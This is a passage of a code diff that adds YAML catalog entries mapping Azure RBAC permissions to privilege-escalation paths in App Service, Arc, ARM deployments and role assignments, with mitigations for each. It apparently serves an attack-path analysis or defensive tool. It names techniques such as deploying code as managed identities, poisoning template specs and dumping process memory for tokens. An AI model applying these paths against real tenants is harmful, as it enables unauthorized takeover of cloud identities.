catalog/azure/authorization.yaml header. +# Deployment slots (Microsoft.Web/sites/slots) have their own managed identity configuration and their own +# RBAC actions; they are modelled separately in azure-appservice-slot-code-execution. + +- id: azure-appservice-kudu-publish-action + provider: azure + service: app_services + title: Use the Kudu/SCM API with Entra credentials to run commands in the app + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitespublishaction-and-microsoftwebsitesslotspublishaction + source_revision: 171e422 + summary: Microsoft.Web/sites/publish/action authorizes the SCM site (command API, SSH, zip deploy, WebJobs), giving code execution as the app and its managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/publish/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: scm_network_access + description: SCM site access restrictions / private endpoints may require network reachability. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict Microsoft.Web/sites/publish/action (Website Contributor, Contributor), restrict SCM site network access, and keep app identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/app-service/resources-kudu + notes: Also covers continuous WebJob creation via the SCM API. + +- id: azure-appservice-publishing-credentials-enable-basic-auth + provider: azure + service: app_services + title: Obtain SCM/FTP publishing credentials and enable basic auth to deploy code + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#obtaining-scm-credentials--enabling-basic-authentication + source_revision: 171e422 + summary: Publishing credentials (publishing profile or publishing-credentials list) plus the ability to allow SCM/FTP basic auth let the source deploy code that runs as the app's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/basicPublishingCredentialsPolicies/write + scope: "{target.host_resource}" + any_of: + - - action: Microsoft.Web/sites/publishxml/action + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/config/list/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: scm_network_access + description: SCM/FTP endpoints must be reachable. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Keep SCM/FTP basic authentication disabled (enforce with Azure Policy) and restrict publishxml/config list and basicPublishingCredentialsPolicies/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-basic-auth-disable + - https://learn.microsoft.com/en-us/azure/app-service/deploy-configure-credentials + notes: Covers zip deploy, local Git push, Kudu VFS and FTP uploads with the disclosed credentials. + +- id: azure-appservice-publishing-credentials-basic-auth-enabled + provider: azure + service: app_services + title: Obtain SCM/FTP publishing credentials when basic auth is already enabled + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#publish-code-using-scm-credentials + source_revision: 171e422 + summary: With basic auth already allowed, disclosed publishing credentials alone allow deploying code that runs as the app's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/publishxml/action + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/config/list/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: scm_basic_auth_enabled + description: Edge exists only if basicPublishingCredentialsPolicies scm or ftp has allow=true (otherwise credentials are REDACTED/rejected). + blockers: + - scm_and_ftp_basic_auth_disabled + confidence: conditional + severity: high + mitigation: Disable SCM and FTP basic authentication and restrict publishxml/config list. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-basic-auth-disable + notes: config/list/action also returns app settings/connection strings (data exposure, not modelled). + +- id: azure-appservice-sourcecontrols-write + provider: azure + service: app_services + title: Redirect App Service deployment to an attacker repository + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitessourcecontrolswrite-and-microsoftwebsitesslotssourcecontrolswrite + source_revision: 171e422 + summary: Pointing the app's source control at an attacker repository deploys attacker code that runs with the app's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/sourcecontrols/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: build_succeeds + description: The deployment/build must succeed for the code to run. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict sourcecontrols/write and monitor deployment source changes. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-continuous-deployment + notes: Also the "Change GitHub repo" technique on the Function App page. + +- id: azure-appservice-sitecontainers-write + provider: azure + service: app_services + title: Replace an App Service sidecar/main SiteContainer image + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitessitecontainerswrite-and-microsoftwebsitesslotssitecontainerswrite + source_revision: 171e422 + summary: Setting the main SiteContainer image/startup command executes attacker code with the app's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/sitecontainers/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: linux_sitecontainers_app + description: Applies to Linux apps using the SiteContainers (sidecar) model. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict sitecontainers/write and enforce trusted registries. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-sidecar + notes: "" + +- id: azure-appservice-config-write + provider: azure + service: app_services + title: Change app configuration to load attacker code + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfigwrite + source_revision: 171e422 + summary: Writing site config (container image, startup command, WEBSITE_RUN_FROM_PACKAGE, interpreter environment variables, remote debugging) makes the app run attacker code with its managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/config/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict Microsoft.Web/sites/config/write (Website Contributor, Contributor) and alert on appsettings/container/startup command changes. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-common + - https://learn.microsoft.com/en-us/azure/azure-functions/run-functions-from-deployment-package + notes: The CLI container-image flow also reads config (config/read, config/list/action, sites/read) to preserve settings; the write is what grants the gain. Covers the Function App WEBSITE_RUN_FROM_PACKAGE external URL, container image change and remote debugging techniques. + +- id: azure-appservice-siteextensions-write + provider: azure + service: app_services + title: Install an attacker NuGet site extension + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitessiteextensionswrite--attacker-nuget-site-extension + source_revision: 171e422 + summary: A site extension's install script runs on the app and can deploy code executing as the app's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/siteextensions/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: windows_app + description: Kudu site extensions apply to Windows App Service apps. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict siteextensions/write. + references: [] + notes: "" + +- id: azure-appservice-onedeploy-extensions-write + provider: azure + service: app_services + title: Replace app content through the OneDeploy extension route + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesextensionswrite--onedeploy-zip-replacement + source_revision: 171e422 + summary: Microsoft.Web/sites/extensions/write (onedeploy) deploys an attacker package that runs as the app's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/extensions/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict Microsoft.Web/sites/extensions/write. + references: [] + notes: "" + +- id: azure-appservice-restore-from-backup-blob + provider: azure + service: app_services + title: Restore the app from an attacker-supplied backup + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesrestorefrombackupblobaction--restore-an-attacker-backup + source_revision: 171e422 + summary: Restoring an attacker backup overwrites the app content with code that runs as the app's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/restoreFromBackupBlob/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict restoreFromBackupBlob/action. + references: [] + notes: "" + +- id: azure-appservice-assign-user-assigned-identity + provider: azure + service: app_services + title: Attach a user-assigned identity to an App Service the source can execute code in + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsiteswrite-microsoftwebsitesread-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: Adding a user-assigned identity to an app where the source can run code exposes that identity's tokens. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Web/sites/write + scope: "{pivot}" + any_of: + - - action: Microsoft.Web/sites/publish/action + scope: "{pivot}" + - - action: Microsoft.Web/sites/config/write + scope: "{pivot}" + - - action: Microsoft.Web/sites/sourcecontrols/write + scope: "{pivot}" + - - action: Microsoft.Web/sites/sitecontainers/write + scope: "{pivot}" + - - action: Microsoft.Web/sites/extensions/write + scope: "{pivot}" + - - action: Microsoft.Web/sites/hostruntime/vfs/write + scope: "{pivot}" + - - action: Microsoft.Web/sites/host/listkeys/action + scope: "{pivot}" + pivot_resource_type: Microsoft.Web/sites + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: app_compromised_outside_rbac + description: HackTricks also covers apps compromised by non-RBAC means (vulnerable code); not detectable from RBAC. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and Microsoft.Web/sites/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity + notes: Microsoft.Web/sites/write on a resource group also allows creating a new app (with serverfarms/join) carrying the identity. hostruntime/vfs/write and host/listkeys code paths apply to Function Apps. + +- id: azure-appservice-slot-code-execution + provider: azure + service: app_services + title: Run code in a deployment slot + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesslotsconfigwrite--recycle-a-deployment-slot-into-attacker-code + source_revision: 171e422 + summary: Slot-scoped publish, source control, SiteContainer, config or key permissions give code execution in the slot, exposing the slot's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/slots/publish/action + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/sourcecontrols/write + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/sitecontainers/write + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/config/write + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/host/listkeys/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites/slots + scope: inherited_scope + aggregate_as: "Managed identities of deployment slot {target.host_resource}" + conditions: + - id: slot_swap + description: A later slot swap moves the slot's content (not its identity) into production; slot identities are configured per slot. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Treat slot permissions like production permissions and keep slot identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots + notes: slots/host/listkeys/action applies to Function App slots (master key -> admin VFS). + +- id: azure-appservice-slot-publishxml + provider: azure + service: app_services + title: Obtain slot publishing credentials and deploy into the slot + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesslotspublishxmlaction + source_revision: a66f094ede + summary: The slot publishing profile with secrets (or the slot publishing credentials returned by slot config listing) allows Kudu zip deployment into the slot when SCM basic auth is allowed. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/slots/publishxml/action + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/config/list/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites/slots + scope: inherited_scope + aggregate_as: "Managed identities of deployment slot {target.host_resource}" + conditions: + - id: scm_basic_auth_enabled + description: SCM (or FTP) basic auth must be allowed for the slot; enabling it needs basicPublishingCredentialsPolicies write. + blockers: + - scm_and_ftp_basic_auth_disabled + confidence: conditional + severity: high + mitigation: Disable basic auth on slots and restrict slots/publishxml/action. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-basic-auth-disable + notes: slots/config/list/action is the slot counterpart of config/list/action (the Function App page documents it as the same capability for a slot); it authorizes listing the slot's security-sensitive settings, including its publishing credentials. + +- id: azure-appservice-slot-swap-promote-code + provider: azure + service: app_services + title: Plant code in a deployment slot and swap it into production + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesslotsswapaction-promote-staged-code--steal-production-sticky-secrets + source_revision: 171e422 + summary: Code planted in a slot runs under the production site's managed identities after a swap, because identities stay with the site and are not swapped. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/slotsswap/action + scope: "{target.host_resource}" + - action: Microsoft.Web/sites/slots/publish/action + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slotsswap/action + scope: "{target.host_resource}" + - action: Microsoft.Web/sites/slots/sourcecontrols/write + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slotsswap/action + scope: "{target.host_resource}" + - action: Microsoft.Web/sites/slots/sitecontainers/write + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slotsswap/action + scope: "{target.host_resource}" + - action: Microsoft.Web/sites/slots/config/write + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/slotsswap/action + scope: "{target.host_resource}" + - action: Microsoft.Web/sites/slots/publish/action + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/slotsswap/action + scope: "{target.host_resource}" + - action: Microsoft.Web/sites/slots/sourcecontrols/write + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/slotsswap/action + scope: "{target.host_resource}" + - action: Microsoft.Web/sites/slots/sitecontainers/write + scope: "{target.host_resource}" + - - action: Microsoft.Web/sites/slots/slotsswap/action + scope: "{target.host_resource}" + - action: Microsoft.Web/sites/slots/config/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of production site {target.host_resource}" + conditions: + - id: slot_exists + description: The site must have a deployment slot (creating one needs Microsoft.Web/sites/slots/write and a Standard or higher plan). + - id: swap_not_gated + description: Swap with preview or deployment pipelines gating swaps can delay or surface the promotion. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict slotsswap/action to release automation and treat slot write permissions like production permissions. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots#which-settings-are-swapped + notes: Microsoft documents that managed identities are not swapped, so promoted code authenticates as the production site's identities. Grants scoped only to the slot resource (not the site) are not matched by this entry. + +- id: azure-appservice-easyauth-client-secret + provider: azure + service: app_services + title: Read the Easy Auth identity-provider client secret from app settings + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#easy-auth-secret-theft--authentication-bypass + source_revision: a66f094ede + summary: App Service Authentication stores the Entra app registration's client secret in an app setting, which config/list/action (or a config snapshot secret listing) returns, yielding the application's service principal. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/config/list/action + scope: "{pivot}" + - - action: Microsoft.Web/sites/config/snapshots/listsecrets/action + scope: "{pivot}" + - - action: Microsoft.Web/sites/slots/config/list/action + scope: "{pivot}" + - - action: Microsoft.Web/sites/slots/config/snapshots/listsecrets/action + scope: "{pivot}" + pivot_resource_type: Microsoft.Web/sites + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: "{pivot}" + scope: inherited_scope + aggregate_as: "Easy Auth application credential stored in {pivot}" + conditions: + - id: easyauth_confidential_client + description: Easy Auth must be configured with an Entra provider using a client secret (MICROSOFT_PROVIDER_AUTHENTICATION_SECRET); certificate or federated-credential setups expose no secret. + - id: app_has_privileges + description: The gain matters only if the application's service principal holds roles or API permissions. + blockers: [] + confidence: conditional + severity: medium + mitigation: Use a federated identity credential (managed identity) for Easy Auth instead of a client secret; restrict config/list/action. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-authentication-provider-aad + notes: The same settings listings also expose any other service-principal secret kept in app settings or connection strings (e.g. AZURE_CLIENT_SECRET); historical snapshots can return secrets that were later removed from the live configuration, valid unless rotated. Slot-scoped listings return the slot's settings, which commonly carry the same credential. + +- id: azure-appservice-process-dump-cached-tokens + provider: azure + service: app_services + title: Dump the worker process memory through the ARM processes surface + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#kudu-process-memory-dump-harvest-in-memory-mi-tokens--decrypted-secrets + source_revision: 171e422 + summary: A full memory dump of the running worker can contain managed-identity access tokens the app has cached, giving the source those identities' privileges until the tokens expire. + requires: + all_of: + - action: Microsoft.Web/sites/instances/processes/read + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource} (cached tokens)" + conditions: + - id: token_cached_in_memory + description: Only tokens the app already requested and still holds in memory are exposed; the IMDS secret alone is not usable from outside the worker. + - id: scm_network_access + description: The dump is served by the SCM site; access restrictions or private endpoints may require network reachability. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/sites/instances/processes/* (Website Contributor, Contributor) and the SCM site's network access, and keep app identities least-privileged. + references: + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-process-dump + notes: The Kudu path with publishing credentials or publish/action is already covered by azure-appservice-kudu-publish-action and the publishing-credential entries. +- id: azure-app-services-read-configured-third-party-credentials + provider: azure + service: app_services + title: Read configured third-party source-control OAuth tokens + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#read-configured-third-party-credentials + source_revision: 0b36331 + summary: Read the stored third-party source-control OAuth tokens (GitHub, Bitbucket, Dropbox, OneDrive) exposed to the account → pivot into those external accounts (repos, files) with the returned tokens. + requires: + all_of: + - action: Microsoft.Web/sourcecontrols/read + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_challenge_fact: azure-app-services-read-configured-third-party-credentials + scope: inherited_scope + aggregate_as: Pending service authority for app_services + outcome: application_admin + grants: + - The configured third-party GitHub, Bitbucket, Dropbox or OneDrive OAuth identity. + conditions: + - id: collector_fact_required + description: The azure_web_sourcecontrols inventory must identify the exact target and rights; absent or incomplete facts remain UNKNOWN. + confidence: conditional + severity: medium + mitigation: Restrict the listed permissions to trusted operators and rotate or revoke resulting credentials or grants. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md + notes: 'Collector fact required: azure_web_sourcecontrols. UNKNOWN until configured token, owner, and scope are inventoried.' diff --git a/src/privilege-escalation-paths-research/azure/arc.yaml b/src/privilege-escalation-paths-research/azure/arc.yaml new file mode 100644 index 0000000000..49876be308 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/arc.yaml @@ -0,0 +1,62 @@ +- id: azure-arc-machine-extensions-write + provider: azure + service: arc + title: Deploy a Custom Script extension on an Arc-enabled server + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#rce--persistence-via-vm-extensions-custom-script + source_revision: 171e422 + summary: An extension the source deploys runs as SYSTEM/root on the Arc server, exposing the machine's system-assigned identity. + requires: + all_of: + - action: Microsoft.HybridCompute/machines/extensions/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: arc_agent_connected + description: The Connected Machine agent must be connected and extensions not blocked by the local agent allow/block list. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict machines/extensions/write and configure agent-side extension allow-lists. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/manage-vm-extensions + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/managed-identity-authentication + notes: "" +- id: azure-arc-hybrid-connectivity-entra-ssh + provider: azure + service: arc + title: SSH into an Arc-enabled server as administrator through Hybrid Connectivity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#sshrdp-to-arc-machines-via-hybrid-connectivity + source_revision: 171e422 + summary: An administrator SSH session over the Arc relay can read the machine's HIMDS identity token. + requires: + all_of: + - action: Microsoft.HybridConnectivity/endpoints/listCredentials/action + scope: "{target.host_resource}" + - action: Microsoft.HybridCompute/machines/loginAsAdmin/action + data_action: true + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: ssh_endpoint_enabled + description: A Hybrid Connectivity default endpoint with the SSH service enabled must exist (creating it needs endpoints/write and serviceConfigurations/write). + - id: entra_ssh_login_configured + description: The AADSSHLogin extension (or a local account the source knows) must allow the Entra login. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Virtual Machine Administrator Login on Arc machines and Hybrid Connectivity listCredentials. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/ssh-arc-overview + notes: "" diff --git a/src/privilege-escalation-paths-research/azure/arm.yaml b/src/privilege-escalation-paths-research/azure/arm.yaml new file mode 100644 index 0000000000..1192ad3718 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/arm.yaml @@ -0,0 +1,132 @@ +# Azure Resource Manager deployment / template spec techniques (declarative only). +# Source: hacktricks-cloud az-arm-deployment-privesc.md, az-arm-template-spec-privesc.md (rev 171e422). + +- id: azure-arm-deploymentscript-with-user-assigned-identity + provider: azure + service: arm + title: Deployment script running as an assignable user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md#microsoftresourcesdeploymentscriptswrite + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities it can assign. + requires: + all_of: + - action: Microsoft.Resources/deploymentScripts/write + scope: "{pivot}" + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.ContainerInstance/containerGroups/read + scope: "{pivot}" + - action: Microsoft.ContainerInstance/containerGroups/write + scope: "{pivot}" + - action: Microsoft.Storage/storageAccounts/read + scope: "{pivot}" + - action: Microsoft.Storage/storageAccounts/write + scope: "{pivot}" + - action: Microsoft.Storage/storageAccounts/listKeys/action + scope: "{pivot}" + pivot_resource_type: Microsoft.Resources/resourceGroups + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: retained_support_container + description: If an existing script retained its support container, containerGroups/delete is also required. + blockers: + - azure_deny_assignment + confidence: derived + severity: critical + mitigation: Restrict userAssignedIdentities/assign/action and deploymentScripts/write; use Azure Policy to restrict which identities deployment scripts may use. + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/deployment-script-template + notes: Support resources are created in the script's resource group, so storage/ACI actions must cover that group, not only the script resource. + +- id: azure-arm-templatespec-version-poisoning + provider: azure + service: arm + title: Overwrite a template spec version consumed by a more privileged deployer + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#microsoftresourcestemplatespecsversionswrite + source_revision: 171e422 + summary: The source can obtain the privileges of principals that later deploy the template spec version. + requires: + all_of: + - action: Microsoft.Resources/templateSpecs/versions/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Resources/templateSpecs + target: + kind: azure_service_principal + selector: + azure_deployer_of_pivot: true + scope: any + aggregate_as: "Principals that deploy template spec {pivot}" + conditions: + - id: deployer_unknown + description: Who deploys the spec (pipelines, admins) is only inferable from deployment history; edge exists only if a more privileged principal later deploys it. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict templateSpecs/versions/write to the owners of the deploying pipeline and make versions immutable (publish new versions under review). + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/template-specs + notes: Deployers may be users as well as service principals/managed identities. Deployment Stacks write is not a standalone escalation per the page. + +- id: azure-arm-templatespec-version-poisoning-managed-identity + provider: azure + service: arm + title: Overwrite a template spec version consumed by a managed-identity deployer + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#microsoftresourcestemplatespecsversionswrite + source_revision: a66f094ede + summary: The source can obtain the privileges of managed identities (pipeline agents, automation) that later deploy the template spec version. + requires: + all_of: + - action: Microsoft.Resources/templateSpecs/versions/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Resources/templateSpecs + target: + kind: azure_managed_identity + selector: + azure_deployer_of_pivot: true + scope: any + aggregate_as: "Managed identities that deploy template spec {pivot}" + conditions: + - id: deployer_unknown + description: Who deploys the spec is only inferable from deployment history; edge exists only if a more privileged managed identity later deploys it. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict templateSpecs/versions/write to the owners of the deploying pipeline and make versions immutable (publish new versions under review). + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/template-specs + notes: Managed-identity sibling of azure-arm-templatespec-version-poisoning. + +- id: azure-arm-templatespec-version-poisoning-user + provider: azure + service: arm + title: Overwrite a template spec version consumed by a more privileged user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-template-spec-privesc.md#microsoftresourcestemplatespecsversionswrite + source_revision: a66f094ede + summary: The source can obtain the privileges of administrators who later deploy the template spec version. + requires: + all_of: + - action: Microsoft.Resources/templateSpecs/versions/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Resources/templateSpecs + target: + kind: azure_user + selector: + azure_deployer_of_pivot: true + scope: any + aggregate_as: "Users that deploy template spec {pivot}" + conditions: + - id: deployer_unknown + description: Who deploys the spec is only inferable from deployment history; edge exists only if a more privileged user later deploys it. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict templateSpecs/versions/write to the owners of the deploying pipeline and make versions immutable (publish new versions under review). + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/template-specs + notes: User sibling of azure-arm-templatespec-version-poisoning. diff --git a/src/privilege-escalation-paths-research/azure/authorization.yaml b/src/privilege-escalation-paths-research/azure/authorization.yaml new file mode 100644 index 0000000000..90a8225cac --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/authorization.yaml @@ -0,0 +1,241 @@ +# Azure RBAC / authorization-plane privilege escalation techniques. +# Source: hacktricks-cloud az-authorization-privesc.md (rev 171e422; policy entries originally authored against 6bdd8e89e6). +# Conventions used across catalog/azure/*.yaml (see SCHEMA EXTENSIONS in the agent report): +# requirement scope "{target.scope}" -> the MG / subscription / RG / resource the target entity controls; +# the permission must be granted at that scope or an ancestor (RBAC inheritance). +# requirement scope "{target.id}" -> ARM id of the target user-assigned managed identity resource. +# requirement scope "{target.host_resource}" -> ARM id of the Azure resource the target managed identity is attached to. +# requirement scope "{pivot}" -> one resource of type `pivot_resource_type` (existing or newly created); +# every requirement using {pivot} must cover the SAME resource. +# data_action: true -> the action must be granted via DataActions (not Actions). + +- id: azure-authorization-roleassignments-write + provider: azure + service: authorization + title: Create Azure role assignments over a scope + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationroleassignmentswrite + source_revision: 171e422 + summary: The source can assign any role (e.g. Owner) at the scope to itself or a controlled principal and so controls all RBAC at that scope and its descendants. + requires: + all_of: + - action: Microsoft.Authorization/roleAssignments/write + scope: "{target.scope}" + target: + kind: azure_scope_owner + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "RBAC control of {scope}" + conditions: + - id: role_assignment_condition + description: An ABAC condition on the source's role assignment (delegated role-assignment management) may restrict which roles or principal types can be assigned; an allowlist excluding privileged roles limits or removes the edge. + blockers: + - azure_deny_assignment + confidence: derived + severity: critical + mitigation: Grant Microsoft.Authorization/roleAssignments/write (Owner, User Access Administrator, Role Based Access Control Administrator or custom roles) only to break-glass/admin principals, at the narrowest scope, and constrain delegated assignment with an allowlist ABAC condition. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-steps + - https://learn.microsoft.com/en-us/azure/role-based-access-control/conditions-overview + notes: RBAC NotActions are subtractions, not denies; only deny assignments block. Scope inheritance MG -> subscription -> RG -> resource applies, so a grant at an MG reaches every child subscription. + +- id: azure-authorization-roledefinitions-write-assigned-role + provider: azure + service: authorization + title: Modify a custom role definition already assigned to the source + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationroledefinitionswrite + source_revision: 171e422 + summary: The source can add arbitrary Actions/DataActions to a custom role it already holds, inflating its own existing assignments at their scopes. + requires: + all_of: + - action: Microsoft.Authorization/roleDefinitions/write + scope: "{target.scope}" + target: + kind: azure_scope_owner + selector: + custom_role_assigned_to_source: true + scope: inherited_scope + aggregate_as: "Scopes of custom roles assigned to the source" + conditions: + - id: all_assignable_scopes_covered + description: Updating a custom role requires roleDefinitions/write over every scope listed in the role's AssignableScopes; 